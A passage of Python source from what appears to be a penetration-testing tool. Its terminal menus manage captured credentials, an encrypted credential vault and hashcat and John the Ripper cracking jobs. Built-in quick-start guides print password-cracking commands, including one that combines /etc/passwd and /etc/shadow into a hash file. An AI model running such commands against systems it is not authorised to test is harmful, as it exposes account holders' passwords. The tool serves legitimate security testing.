        click.echo(click.style(f"Hostname: ", bold=True) + credential['hostname'])

    click.echo(click.style(f"Service: ", bold=True) + (credential.get('service') or 'N/A'))
    click.echo(click.style(f"Port: ", bold=True) + str(credential.get('port') or 'N/A'))
    click.echo(click.style(f"Protocol: ", bold=True) + (credential.get('protocol') or 'tcp'))
    click.echo(click.style(f"Username: ", bold=True) + (credential.get('username') or 'N/A'))
    click.echo(click.style(f"Password: ", bold=True) + (credential.get('password') or 'N/A'))

    status = credential.get('status', 'unknown')
    status_color = {'valid': 'green', 'invalid': 'red', 'untested': 'yellow'}.get(status, 'white')
    click.echo(click.style(f"Status: ", bold=True) + click.style(status, fg=status_color))

    click.echo(click.style(f"Type: ", bold=True) + (credential.get('credential_type') or 'password'))
    click.echo(click.style(f"Tool: ", bold=True) + (credential.get('tool') or 'N/A'))
    click.echo(click.style(f"Created: ", bold=True) + (credential.get('created_at') or 'N/A'))

    click.pause("\n\nPress any key to continue...")


def _credentials_bulk_action_menu(credentials: list, selected_ids: set, engagement_id: int, cm) -> str:
    """Show inline action menu for selected credentials. Returns 'exit' to exit view, or 'continue'."""
    selected_creds = [c for c in credentials if c.get('id') in selected_ids]

    # Check if user can delete credentials
    from souleyez.auth import get_current_user
    from souleyez.auth.permissions import Permission, PermissionChecker
    can_delete = True
    current_user = get_current_user()
    if current_user:
        checker = PermissionChecker(current_user.role, current_user.tier)
        can_delete = checker.has_permission(Permission.CREDENTIAL_DELETE)

    click.echo()
    click.echo(f"  Selected: {len(selected_ids)} credential(s)")
    click.echo("    [v] View first")
    click.echo("    [e] Edit first")
    if can_delete:
        click.echo(f"    [d] Delete ({len(selected_ids)})")
    click.echo(f"    [t] Test ({len(selected_ids)})")
    click.echo(f"    [h] Hashcat ({len(selected_ids)})")
    click.echo(f"    [j] John ({len(selected_ids)})")
    click.echo("    [q] Back")

    try:
        action = click.prompt("  Select option", type=str, default='q', show_default=False).strip().lower()

        if action == 'q':
            return 'continue'

        elif action == 'v':
            # View first selected credential - use full view
            if selected_creds:
                first_cred = selected_creds[0]
                _view_credential_by_id(first_cred.get('id'), engagement_id, cm)

        elif action == 'e':
            # Edit first selected - show ID so user can enter it
            if selected_creds:
                click.echo(f"\n  First selected credential ID: {selected_creds[0].get('id')}")
                _edit_credential(engagement_id, cm)

        elif action == 'd':
            # Delete all selected
            if not can_delete:
                click.echo(click.style("\n  ✗ Permission denied: CREDENTIAL_DELETE required", fg='red'))
                click.pause()
                return 'continue'
            click.echo()
            click.echo(click.style(f"  ⚠️  Delete {len(selected_ids)} credential(s)?", fg='red', bold=True))
            if click.confirm("  Are you sure?", default=False):
                deleted = 0
                for cred_id in selected_ids:
                    try:
                        cm.delete_credential(cred_id)
                        deleted += 1
                    except Exception:
                        pass
                click.echo(click.style(f"\n  ✓ Deleted {deleted} credential(s)", fg='green'))
            else:
                click.echo("\n  Cancelled.")
            click.pause()

        elif action == 't':
            # Test selected credentials
            test_credentials_menu()

        elif action == 'h':
            # Crack with hashcat
            crack_hashes_menu(engagement_id)

        elif action == 'j':
            # Crack with john
            crack_hashes_john_menu(engagement_id)

    except (KeyboardInterrupt, click.Abort):
        pass

    return 'continue'


def _filter_credential_by_service(engagement_id: int, cm: 'CredentialsManager'):
    """Prompt for service filter."""
    credentials = cm.list_credentials(engagement_id)
    services = sorted(set([c.get('service') for c in credentials if c.get('service')]))

    if not services:
        click.echo(click.style("\nNo services found in credentials.", fg='yellow'))
        click.pause()
        return None

    click.echo("\nAvailable services:")
    click.echo("  [q] Clear filter")
    for idx, svc in enumerate(services, 1):
        click.echo(f"  [{idx}] {svc}")

    try:
        choice_input = click.prompt("Select service", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if 1 <= choice <= len(services):
                return services[choice - 1]
            return None
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _filter_credential_by_status():
    """Prompt for status filter."""
    click.echo("\nSelect status:")
    click.echo("  [1] Valid")
    click.echo("  [2] Invalid")
    click.echo("  [3] Untested")
    click.echo("  [4] Discovered")
    click.echo("  [q] Clear filter")

    try:
        choice_input = click.prompt("Status", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            status_map = {1: 'valid', 2: 'invalid', 3: 'untested', 4: 'discovered'}
            return status_map.get(choice)
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _filter_credential_by_host(engagement_id: int):
    """Prompt for host filter."""
    from souleyez.storage.hosts import HostManager
    hm = HostManager()
    hosts = hm.list_hosts(engagement_id)

    if not hosts:
        click.echo(click.style("\nNo hosts found.", fg='yellow'))
        click.pause()
        return None

    click.echo("\nSelect host:")
    click.echo("  [q] Clear filter")
    for idx, host in enumerate(hosts[:20], 1):
        click.echo(f"  [{idx}] {host.get('ip_address')} - {host.get('hostname', 'N/A')}")

    try:
        choice_input = click.prompt("Host", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if 1 <= choice <= len(hosts):
                return hosts[choice - 1]['id']
            return None
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def crack_hashes_menu(engagement_id: int):
    """Interactive menu for cracking password hashes with hashcat."""
    while True:
        DesignSystem.clear_screen()
        click.echo()
        click.echo("=" * 80)
        click.echo(click.style("CRACK PASSWORD HASHES - HASHCAT", bold=True, fg='yellow'))
        click.echo("=" * 80)
        click.echo()
        
        click.echo("Hashcat is the world's fastest password cracker (GPU accelerated).")
        click.echo()
        click.echo(click.style("Options:", bold=True))
        click.echo("  [1] Provide hash file path")
        click.echo("  [2] Quick start guide")
        click.echo("  [q] ← Back")
        click.echo()
        
        choice = click.prompt("Select option", type=str, default="q", show_default=False).strip()

        if choice == "q":
            return
        elif choice == "1":
            # Interactive hash cracking
            try:
                hash_file = click.prompt("\nEnter hash file path", type=str)
                hash_file = os.path.expanduser(hash_file)
                
                if not os.path.isfile(hash_file):
                    click.echo(click.style(f"✗ File not found: {hash_file}", fg='red'))
                    click.pause()
                    continue
                
                # Show common hash modes
                click.echo()
                click.echo(click.style("Common hash modes:", bold=True))
                click.echo("  500   - MD5 (Linux /etc/shadow)")
                click.echo("  1000  - NTLM (Windows)")
                click.echo("  1800  - SHA-512 (Modern Linux)")
                click.echo("  3200  - bcrypt (Web apps)")
                click.echo("  5600  - NetNTLMv2")
                click.echo()
                
                mode = click.prompt("Enter hash mode (-m)", type=str, default="500")
                
                # Ask for wordlist
                click.echo()
                click.echo(click.style("Wordlist options:", bold=True))
                click.echo("  [1] Top 100 passwords (fast)")
                click.echo("  [2] Top 1000 passwords")
                click.echo("  [3] RockYou (14M passwords)")
                click.echo("  [4] Custom path")
                click.echo()
                
                wl_choice = click.prompt("Select wordlist", type=str, default="1")
                
                if wl_choice == "1":
                    wordlist = "data/wordlists/top100.txt"
                elif wl_choice == "2":
                    wordlist = "data/wordlists/top20_quick.txt"  # Will update later
                elif wl_choice == "3":
                    wordlist = "/usr/share/wordlists/rockyou.txt"
                else:
                    wordlist = click.prompt("Enter wordlist path", type=str)
                    wordlist = os.path.expanduser(wordlist)
                
                # Check if username format
                has_usernames = click.confirm("\nDoes hash file contain usernames? (format: user:hash)", default=True)
                
                # Build args
                args = f"-m {mode}"
                if has_usernames:
                    args += " --username"
                args += f" {wordlist}"
                
                # Show command
                click.echo()
                click.echo(click.style("Command to execute:", fg='cyan'))
                click.echo(f"  hashcat {args} {hash_file}")
                click.echo()
                
                if click.confirm("Enqueue this job?", default=True):
                    job_id = enqueue_job('hashcat', hash_file, args.split(), '')
                    click.echo(click.style(f"\n✓ Job {job_id} enqueued!", fg='green'))
                    click.echo(f"  Monitor: souleyez jobs get {job_id}")
                    click.pause()
                    return
                    
            except (KeyboardInterrupt, click.Abort):
                return
            except Exception as e:
                click.echo(click.style(f"✗ Error: {e}", fg='red'))
                click.pause()
                
        elif choice == "2":
            # Quick guide
            DesignSystem.clear_screen()
            click.echo()
            click.echo("=" * 80)
            click.echo(click.style("HASHCAT QUICK START", bold=True))
            click.echo("=" * 80)
            click.echo()
            click.echo("1. Prepare hash file (username:hash format):")
            click.echo("   echo 'user:$1$salt$hash' > hashes.txt")
            click.echo()
            click.echo("2. Run from CLI:")
            click.echo("   souleyez jobs enqueue hashcat hashes.txt --args \"-m 500 --username wordlist.txt\"")
            click.echo()
            click.echo("3. Monitor progress:")
            click.echo("   souleyez jobs get <job-id>")
            click.echo()
            click.echo("4. View cracked passwords:")
            click.echo("   hashcat --show hashes.txt")
            click.echo()
            click.pause()


def crack_hashes_john_menu(engagement_id: int):
    """Interactive menu for cracking password hashes with John the Ripper."""
    while True:
        DesignSystem.clear_screen()
        click.echo()
        click.echo("=" * 80)
        click.echo(click.style("CRACK PASSWORD HASHES - JOHN THE RIPPER", bold=True, fg='yellow'))
        click.echo("=" * 80)
        click.echo()
        
        click.echo("John the Ripper is a legendary password cracker with auto-detect features.")
        click.echo()
        click.echo(click.style("Options:", bold=True))
        click.echo("  [1] Provide hash file path")
        click.echo("  [2] Quick start guide")
        click.echo("  [q] ← Back")
        click.echo()
        
        choice = click.prompt("Select option", type=str, default="q", show_default=False).strip()

        if choice == "q":
            return
        elif choice == "1":
            # Interactive hash cracking
            try:
                hash_file = click.prompt("\nEnter hash file path", type=str)
                hash_file = os.path.expanduser(hash_file)
                
                if not os.path.isfile(hash_file):
                    click.echo(click.style(f"✗ File not found: {hash_file}", fg='red'))
                    click.pause()
                    continue
                
                # Ask for attack mode
                click.echo()
                click.echo(click.style("Attack modes:", bold=True))
                click.echo("  [1] Dictionary attack (wordlist)")
                click.echo("  [2] Single crack mode (uses usernames)")
                click.echo("  [3] Incremental (brute force - slow)")
                click.echo()
                
                mode_choice = click.prompt("Select attack mode", type=str, default="1")
                
                args = ""
                
                if mode_choice == "1":
                    # Dictionary attack
                    click.echo()
                    click.echo(click.style("Wordlist options:", bold=True))
                    click.echo("  [1] Top 100 passwords (fast)")
                    click.echo("  [2] Top 1000 passwords")
                    click.echo("  [3] RockYou (14M passwords)")
                    click.echo("  [4] Custom path")
                    click.echo()
                    
                    wl_choice = click.prompt("Select wordlist", type=str, default="1")
                    
                    if wl_choice == "1":
                        wordlist = "data/wordlists/top100.txt"
                    elif wl_choice == "2":
                        wordlist = "data/wordlists/top20_quick.txt"
                    elif wl_choice == "3":
                        wordlist = "/usr/share/wordlists/rockyou.txt"
                    else:
                        wordlist = click.prompt("Enter wordlist path", type=str)
                        wordlist = os.path.expanduser(wordlist)
                    
                    args = f"--wordlist={wordlist}"
                    
                    # Ask about rules
                    if click.confirm("\nApply mutation rules?", default=False):
                        args += " --rules"
                        
                elif mode_choice == "2":
                    # Single crack mode
                    args = "--single"
                elif mode_choice == "3":
                    # Incremental
                    args = "--incremental"
                
                # Show command
                click.echo()
                click.echo(click.style("Command to execute:", fg='cyan'))
                click.echo(f"  john {args} {hash_file}")
                click.echo()
                
                if click.confirm("Enqueue this job?", default=True):
                    job_id = enqueue_job('john', hash_file, args.split(), '')
                    click.echo(click.style(f"\n✓ Job {job_id} enqueued!", fg='green'))
                    click.echo(f"  Monitor: souleyez jobs get {job_id}")
                    click.echo()
                    click.echo(click.style("Tip:", fg='cyan') + " View cracked passwords with: john --show " + hash_file)
                    click.pause()
                    return
                    
            except (KeyboardInterrupt, click.Abort):
                return
            except Exception as e:
                click.echo(click.style(f"✗ Error: {e}", fg='red'))
                click.pause()
                
        elif choice == "2":
            # Quick guide
            DesignSystem.clear_screen()
            click.echo()
            click.echo("=" * 80)
            click.echo(click.style("JOHN THE RIPPER QUICK START", bold=True))
            click.echo("=" * 80)
            click.echo()
            click.echo("1. Prepare Linux shadow file:")
            click.echo("   unshadow /etc/passwd /etc/shadow > hashes.txt")
            click.echo()
            click.echo("2. Run dictionary attack:")
            click.echo("   souleyez jobs enqueue john hashes.txt --args \"--wordlist=/usr/share/wordlists/rockyou.txt\"")
            click.echo()
            click.echo("3. Monitor progress:")
            click.echo("   souleyez jobs get <job-id>")
            click.echo()
            click.echo("4. View cracked passwords:")
            click.echo("   john --show hashes.txt")
            click.echo()
            click.echo(click.style("Tips:", bold=True))
            click.echo("  • John auto-detects hash formats (no -m needed)")
            click.echo("  • Use --rules for password mutations")
            click.echo("  • Single mode uses username info to guess passwords")
            click.echo("  • Incremental mode tries all combinations (very slow)")
            click.echo()
            click.pause()



def _view_credential_details(engagement_id: int, cm: 'CredentialsManager'):
    """View detailed information about a specific credential."""
    try:
        cred_id = click.prompt("\nEnter Credential ID to view", type=int)
        credentials = cm.list_credentials(engagement_id)
        credential = next((c for c in credentials if c.get('id') == cred_id), None)

        if not credential:
            click.echo(click.style("\n✗ Credential not found!", fg='red'))
            click.pause()
            return

        # Security check: ALWAYS require password for viewing credential details
        from souleyez.storage.crypto import get_crypto_manager
        crypto = get_crypto_manager()

        if crypto.is_encryption_enabled():
            DesignSystem.clear_screen()
            click.echo("\n" + "=" * 80)
            click.echo(click.style("🔒 CREDENTIAL PROTECTION ENABLED", bold=True, fg='yellow'))
            click.echo("=" * 80 + "\n")
            click.echo(click.style("This credential contains sensitive data.", fg='yellow'))
            click.echo(click.style("Password required to view details.", fg='yellow'))
            click.echo()

            import getpass
            password = getpass.getpass("Enter password: ")

            # Always verify password before showing credentials
            if not crypto.unlock(password):
                click.echo(click.style("\n✗ Incorrect password - cannot display credential", fg='red'))
                click.echo()
                click.pause()
                return

            click.echo(click.style("✓ Access granted", fg='green'))
            click.echo()
            import time
            time.sleep(0.5)

        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 80)
        click.echo("CREDENTIAL DETAILS")
        click.echo("=" * 80 + "\n")

        # Display all fields
        click.echo(click.style(f"ID: ", bold=True) + str(credential.get('id')))
        click.echo(click.style(f"Host: ", bold=True) + (credential.get('ip_address') or 'N/A'))

        if credential.get('hostname'):
            click.echo(click.style(f"Hostname: ", bold=True) + credential['hostname'])

        click.echo(click.style(f"Service: ", bold=True) + (credential.get('service') or 'N/A'))
        click.echo(click.style(f"Port: ", bold=True) + str(credential.get('port') or 'N/A'))
        click.echo(click.style(f"Protocol: ", bold=True) + (credential.get('protocol') or 'tcp'))
        click.echo(click.style(f"Username: ", bold=True) + (credential.get('username') or 'N/A'))
        click.echo(click.style(f"Password: ", bold=True) + (credential.get('password') or 'N/A'))

        status = credential.get('status', 'unknown')
        status_color = {'valid': 'green', 'invalid': 'red', 'untested': 'yellow'}.get(status, 'white')
        click.echo(click.style(f"Status: ", bold=True) + click.style(status, fg=status_color))

        click.echo(click.style(f"Type: ", bold=True) + (credential.get('credential_type') or 'user'))
        click.echo(click.style(f"Tool: ", bold=True) + (credential.get('tool') or 'N/A'))
        click.echo(click.style(f"Created: ", bold=True) + (credential.get('created_at') or 'N/A'))

        click.pause("\n\nPress any key to continue...")

    except (KeyboardInterrupt, click.Abort):
        return
    except ValueError:
        click.echo(click.style("\n✗ Invalid Credential ID!", fg='red'))
        click.pause()


def _add_new_credential(engagement_id: int, cm: 'CredentialsManager'):
    """Add a new credential manually."""
    from souleyez.storage.hosts import HostManager

    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 80)
    click.echo("ADD NEW CREDENTIAL")
    click.echo("=" * 80 + "\n")

    try:
        # Host selection
        hm = HostManager()
        hosts = hm.list_hosts(engagement_id)

        if not hosts:
            click.echo(click.style("✗ No hosts found. Please add hosts first!", fg='red'))
            click.pause()
            return

        click.echo("Select host:")
        for idx, host in enumerate(hosts[:20], 1):
            click.echo(f"  [{idx}] {host.get('ip_address')} - {host.get('hostname', 'N/A')}")

        host_choice = click.prompt("Select host", type=int)
        if not (1 <= host_choice <= len(hosts)):
            click.echo(click.style("✗ Invalid host selection!", fg='red'))
            click.pause()
            return

        host_id = hosts[host_choice - 1]['id']

        # Service
        service = click.prompt("\nService (e.g., ssh, smb, mysql)", type=str)

        # Port
        port = click.prompt("Port", type=int)

        # Username
        username = click.prompt("Username", type=str, default="")

        # Password
        password = click.prompt("Password", type=str, default="")

        if not username and not password:
            click.echo(click.style("\n✗ Must provide at least username or password!", fg='red'))
            click.pause()
            return

        # Protocol
        protocol = click.prompt("Protocol (tcp/udp)", type=str, default="tcp")

        # Status
        click.echo("\nStatus:")
        click.echo("  [1] Untested")
        click.echo("  [2] Valid")
        click.echo("  [3] Invalid")
        status_choice = click.prompt("Select status", type=int, default=1)
        status_map = {1: 'untested', 2: 'valid', 3: 'invalid'}
        status = status_map.get(status_choice, 'untested')

        # Confirmation
        click.echo("\n" + "-" * 80)
        click.echo(click.style("SUMMARY:", bold=True))
        click.echo(f"Host: {hosts[host_choice - 1].get('ip_address')}")
        click.echo(f"Service: {service}")
        click.echo(f"Port: {port}")
        click.echo(f"Username: {username or 'N/A'}")
        click.echo(f"Password: {password or 'N/A'}")
        click.echo(f"Protocol: {protocol}")
        click.echo(f"Status: {status}")
        click.echo("-" * 80)

        if not click.confirm("\nAdd this credential?", default=True):
            click.echo(click.style("Cancelled.", fg='yellow'))
            click.pause()
            return

        # Add to database
        cred_id = cm.add_credential(
            engagement_id=engagement_id,
            host_id=host_id,
            username=username or None,
            password=password or None,
            service=service,
            port=port,
            protocol=protocol,
            status=status,
            tool='manual'
        )

        click.echo(click.style(f"\n✓ Credential added successfully! (ID: {cred_id})", fg='green'))
        click.pause()

    except (KeyboardInterrupt, click.Abort):
        click.echo(click.style("\nCancelled.", fg='yellow'))
        click.pause()


def _edit_credential(engagement_id: int, cm: 'CredentialsManager'):
    """Edit an existing credential."""
    try:
        cred_id = click.prompt("\nEnter Credential ID to edit", type=int)
        credentials = cm.list_credentials(engagement_id)
        credential = next((c for c in credentials if c.get('id') == cred_id), None)

        if not credential:
            click.echo(click.style("\n✗ Credential not found!", fg='red'))
            click.pause()
            return

        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 80)
        click.echo(f"EDIT CREDENTIAL #{cred_id}")
        click.echo("=" * 80 + "\n")
        click.echo("Press Enter to keep current value\n")

        # Username
        current_username = credential.get('username', '')
        username = click.prompt(f"Username [{current_username}]", type=str, default=current_username or "")

        # Password
        current_password = credential.get('password', '')
        password = click.prompt(f"Password [{current_password}]", type=str, default=current_password or "")

        # Status
        current_status = credential.get('status', 'untested')
        click.echo(f"\nCurrent Status: {current_status}")
        click.echo("  [1] Untested")
        click.echo("  [2] Valid")
        click.echo("  [3] Invalid")
        click.echo("  [q] Keep current")
        status_input = click.prompt("Select status", type=str, default='q').strip()
        if status_input == 'q':
            status = current_status
        else:
            try:
                status_choice = int(status_input)
                status_map = {1: 'untested', 2: 'valid', 3: 'invalid'}
                status = status_map.get(status_choice, current_status)
            except ValueError:
                status = current_status

        # Build update
        updates = {}
        if username != credential.get('username'):
            updates['username'] = username or None
        if password != credential.get('password'):
            updates['password'] = password or None
        if status != credential.get('status'):
            updates['status'] = status

        if not updates:
            click.echo(click.style("\nNo changes made.", fg='yellow'))
            click.pause()
            return

        # Confirmation
        click.echo("\n" + "-" * 80)
        click.echo(click.style("CHANGES:", bold=True))
        for key, value in updates.items():
            click.echo(f"  {key}: {value}")
        click.echo("-" * 80)

        if not click.confirm("\nSave changes?", default=True):
            click.echo(click.style("Cancelled.", fg='yellow'))
            click.pause()
            return

        # Update database using the private method
        cm._update_credential(cred_id, **updates)
        click.echo(click.style("\n✓ Credential updated successfully!", fg='green'))
        click.pause()

    except (KeyboardInterrupt, click.Abort):
        return
    except ValueError:
        click.echo(click.style("\n✗ Invalid Credential ID!", fg='red'))
        click.pause()


def _delete_credential(engagement_id: int, cm: 'CredentialsManager'):
    """Delete credentials using interactive selector."""
    # Check permission first
    from souleyez.auth import get_current_user
    from souleyez.auth.permissions import Permission, PermissionChecker
    current_user = get_current_user()
    if current_user:
        checker = PermissionChecker(current_user.role, current_user.tier)
        if not checker.has_permission(Permission.CREDENTIAL_DELETE):
            click.echo(click.style("\n  ✗ Permission denied: CREDENTIAL_DELETE required", fg='red'))
            click.pause()
            return

    from souleyez.ui.interactive_selector import interactive_select

    # Get all credentials for this engagement
    credentials = cm.list_credentials(engagement_id, decrypt=False)

    if not credentials:
        click.echo(click.style("\n  No credentials to delete.", fg='yellow'))
        click.pause()
        return

    # Use interactive selector
    selected_cred_ids = set()
    columns = [
        {'name': 'ID', 'width': 6, 'key': 'id', 'justify': 'right'},
        {'name': 'Host', 'width': 15, 'key': 'ip_address'},
        {'name': 'Service', 'width': 12, 'key': 'service'},
        {'name': 'Username', 'width': 20, 'key': 'username'},
        {'name': 'Status', 'width': 10, 'key': 'status'},
    ]

    def format_cred_cell(item: dict, key: str) -> str:
        value = item.get(key)
        if value is None:
            return '-'
        if key == 'status':
            colors = {'valid': 'green', 'invalid': 'red', 'untested': 'yellow', 'discovered': 'cyan'}
            color = colors.get(value, 'white')
            return f'[{color}]{value}[/{color}]'
        return str(value) if value else '-'

    interactive_select(
        items=credentials,
        columns=columns,
        selected_ids=selected_cred_ids,
        get_id=lambda c: c.get('id'),
        title='SELECT CREDENTIALS TO DELETE',
        format_cell=format_cred_cell
    )

    if not selected_cred_ids:
        click.echo("\n  No credentials selected.")
        click.pause()
        return

    # Confirm deletion
    click.echo(f"\n  Credentials to delete: {len(selected_cred_ids)}")
    if not click.confirm(click.style("  Are you sure you want to delete these credentials?", fg='red'), default=False):
        click.echo(click.style("  Cancelled.", fg='yellow'))
        click.pause()
        return

    # Delete credentials
    deleted = 0
    conn = cm.db.get_connection()
    for cid in selected_cred_ids:
        try:
            conn.execute("DELETE FROM credentials WHERE id = ?", (cid,))
            deleted += 1
        except Exception:
            pass
    conn.commit()
    conn.close()

    click.echo(click.style(f"\n  ✓ Deleted {deleted} credential(s)", fg='green'))
    click.pause()


def _manage_encryption_settings():
    """Manage encryption settings - enable/disable/change password."""
    from souleyez.storage.crypto import get_crypto_manager
    import getpass
    import re
    
    crypto = get_crypto_manager()
    
    while True:
        DesignSystem.clear_screen()
        click.echo()
        click.echo(click.style("🔐 CREDENTIAL VAULT", bold=True, fg='cyan'))
        click.echo("=" * 70)
        click.echo()
        
        if crypto.is_encryption_enabled():
            click.echo(click.style("Status: ENABLED", fg='green', bold=True))
            click.echo("Credentials are encrypted with a master password.")
            click.echo()
            click.echo("  [1] Change Master Password")
            click.echo("  [2] " + click.style("Disable Encryption (NOT RECOMMENDED)", fg='red'))
            click.echo("  [q] Back")
            click.echo()
            
            choice = click.prompt("Select option", type=str, default="0", show_default=False).strip().lower()
            
            if choice in ["0", "q"]:
                return
            elif choice == "1":
                # Change password
                click.echo()
                click.echo(click.style("CHANGE MASTER PASSWORD", bold=True))
                click.echo("=" * 70)
                click.echo()
                
                # Verify current password
                old_password = getpass.getpass("Enter current master password: ")
                if not crypto.unlock(old_password):
                    click.echo(click.style("\n✗ Incorrect password!", fg='red'))
                    click.pause()
                    continue
                
                click.echo(click.style("\n✓ Current password verified", fg='green'))
                click.echo()
                
                # Get new password with strength validation
                click.echo("Enter new password.")
                click.echo("Requirements:")
                click.echo("  • At least 12 characters")
                click.echo("  • Mix of uppercase and lowercase letters")
                click.echo("  • At least one number")
                click.echo("  • At least one special character (!@#$%^&*)")
                click.echo()
                
                password_set = False
                while not password_set:
                    new_password = getpass.getpass("Enter new master password: ")
                    
                    # Validate password strength
                    if len(new_password) < 12:
                        click.echo(click.style("❌ Password must be at least 12 characters.", fg='red'))
                        continue
                    
                    if not re.search(r'[a-z]', new_password):
                        click.echo(click.style("❌ Password must contain at least one lowercase letter.", fg='red'))
                        continue
                    
                    if not re.search(r'[A-Z]', new_password):
                        click.echo(click.style("❌ Password must contain at least one uppercase letter.", fg='red'))
                        continue
                    
                    if not re.search(r'\d', new_password):
                        click.echo(click.style("❌ Password must contain at least one number.", fg='red'))
                        continue
                    
                    if not re.search(r'[!@#$%^&*()_+\-=\[\]{};:\'",.<>?/\\|`~]', new_password):
                        click.echo(click.style("❌ Password must contain at least one special character.", fg='red'))
                        continue
                    
                    password_confirm = getpass.getpass("Confirm new master password: ")
                    if new_password != password_confirm:
                        click.echo(click.style("❌ Passwords don't match. Try again.", fg='red'))
                        continue
                    
                    password_set = True
                
                # Change the password
                click.echo()
                click.echo("Changing password...")
                
                # This requires disabling, then re-enabling with new password
                crypto.disable_encryption()
                if crypto.enable_encryption(new_password):
                    click.echo()
                    click.echo(click.style("✅ Password changed successfully!", fg='green'))
                    click.pause()
                    return
                else:
                    click.echo(click.style("✗ Failed to change password!", fg='red'))
                    click.pause()
                    continue
                    
            elif choice == "2":
                # Disable encryption
                click.echo()
                click.echo(click.style("⚠️  WARNING: DISABLE ENCRYPTION", bold=True, fg='red'))
                click.echo("=" * 70)
                click.echo()
                click.echo("This will:")
                click.echo("  • Store future credentials in PLAINTEXT")
                click.echo("  • Existing encrypted credentials will remain encrypted")
                click.echo("  • You can re-enable encryption later")
                click.echo()
                click.echo(click.style("This is NOT RECOMMENDED for security!", fg='red'))
                click.echo()
                
                # Verify password first
                password = getpass.getpass("Enter master password to confirm: ")
                if not crypto.unlock(password):
                    click.echo(click.style("\n✗ Incorrect password!", fg='red'))
                    click.pause()
                    continue
                
                if click.confirm("\nAre you SURE you want to disable encryption?", default=False):
                    crypto.disable_encryption()
                    click.echo()
                    click.echo(click.style("✓ Encryption disabled", fg='yellow'))
                    click.echo("Future credentials will be stored in plaintext.")
                    click.pause()
                    return
                else:
                    click.echo("\nCancelled.")
                    click.pause()
        else:
            click.echo(click.style("Status: DISABLED", fg='red', bold=True))
            click.echo(click.style("Credentials are stored in PLAINTEXT!", fg='yellow'))
            click.echo()
            click.echo("  [1] Enable Encryption")
            click.echo("  [q] Back")
            click.echo()
            
            choice = click.prompt("Select option", type=str, default="0", show_default=False).strip().lower()
            
            if choice in ["0", "q"]:
                return
            elif choice == "1":
                # Enable encryption (use the same flow as startup)
                click.echo()
                click.echo(click.style("🔐 ENABLE ENCRYPTION", bold=True, fg='cyan'))
                click.echo("=" * 70)
                click.echo()
                click.echo("Choose a strong master password.")
                click.echo("Requirements:")
                click.echo("  • At least 12 characters")
                click.echo("  • Mix of uppercase and lowercase letters")
                click.echo("  • At least one number")
                click.echo("  • At least one special character (!@#$%^&*)")
                click.echo()
                click.echo(click.style("⚠️  If you lose this password, encrypted credentials cannot be recovered!", fg='yellow', bold=True))
                click.echo()
                
                password_set = False
                while not password_set:
                    password = getpass.getpass("Enter master password: ")
                    
                    # Validate password strength
                    if len(password) < 12:
                        click.echo(click.style("❌ Password must be at least 12 characters.", fg='red'))
                        continue
                    
                    if not re.search(r'[a-z]', password):
                        click.echo(click.style("❌ Password must contain at least one lowercase letter.", fg='red'))
                        continue
                    
                    if not re.search(r'[A-Z]', password):
                        click.echo(click.style("❌ Password must contain at least one uppercase letter.", fg='red'))
                        continue
                    
                    if not re.search(r'\d', password):
                        click.echo(click.style("❌ Password must contain at least one number.", fg='red'))
                        continue
                    
                    if not re.search(r'[!@#$%^&*()_+\-=\[\]{};:\'",.<>?/\\|`~]', password):
                        click.echo(click.style("❌ Password must contain at least one special character.", fg='red'))
                        continue
                    
                    password_confirm = getpass.getpass("Confirm master password: ")
                    if password != password_confirm:
                        click.echo(click.style("❌ Passwords don't match. Try again.", fg='red'))
                        continue
                    
                    password_set = True
                
                click.echo()
                click.echo("Enabling encryption and migrating existing credentials...")
                
                try:
                    if crypto.enable_encryption(password):
                        click.echo()
                        click.echo(click.style("✅ Encryption enabled successfully!", fg='green', bold=True))
                        click.echo()
                        click.echo("All credentials are now encrypted.")
                        click.pause()
                        return
                    else:
                        click.echo(click.style("✗ Failed to enable encryption!", fg='red'))
                        click.pause()
                except Exception as e:
                    click.echo(click.style(f"✗ Error: {e}", fg='red'))
                    click.pause()


# OSINT type display mapping (label, color, emoji)
OSINT_TYPE_ICONS = {
    'domain': ('DOMAIN', 'cyan', '🌐'),
    'domain_info': ('DOMAIN', 'cyan', '🌐'),
    'email': ('EMAIL', 'yellow', '📧'),
    'url': ('URL', 'blue', '🔗'),
    'ip': ('IP', 'green', '💻'),
    'asn': ('ASN', 'magenta', '🏢'),
    'host': ('HOST', 'blue', '🔗'),
    'nameserver': ('NS', 'dim', '🏢'),
    'mx': ('MX', 'yellow', '📮'),
    'txt': ('TXT', 'dim', '📝'),
    'mail_server': ('MX', 'yellow', '📮'),
}

# Type display order for grouping
OSINT_TYPE_ORDER = ['domain', 'domain_info', 'email', 'ip', 'host', 'url', 'asn', 'nameserver', 'mx', 'mail_server', 'txt']


def _format_osint_relative_time(timestamp_str):
    """Format timestamp as relative time."""
    from datetime import datetime
    if not timestamp_str:
        return "-"
    try:
        dt = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S")
        now = datetime.now()
        delta = now - dt
        seconds = delta.total_seconds()
        if seconds < 60:
            return "now"
        elif seconds < 3600:
            return f"{int(seconds / 60)}m ago"
        elif seconds < 86400:
            return f"{int(seconds / 3600)}h ago"
        elif seconds < 604800:
            return f"{int(seconds / 86400)}d ago"
        else:
            return f"{int(seconds / 604800)}w ago"
    except Exception:
        return "-"


def _build_osint_type_data(by_type: dict) -> list:
    """Build list of type data for table display."""
    from collections import Counter

    type_data = []
    global_idx = 0

    for dtype in OSINT_TYPE_ORDER:
        if dtype not in by_type or not by_type[dtype]:
            continue

        global_idx += 1
        type_items = by_type[dtype]
        type_label, type_color, emoji = OSINT_TYPE_ICONS.get(dtype, (dtype.upper(), 'white', '📄'))

        # Count unique sources
        sources = set(item.get('source', 'unknown') for item in type_items)
        num_sources = len(sources)

        # Get most recent timestamp
        timestamps = [item.get('created_at', '') for item in type_items if item.get('created_at')]
        last_updated = _format_osint_relative_time(max(timestamps)) if timestamps else "-"

        # Get top source
        source_counts = Counter(item.get('source', 'unknown') for item in type_items)
        top_source = source_counts.most_common(1)[0][0] if source_counts else "-"

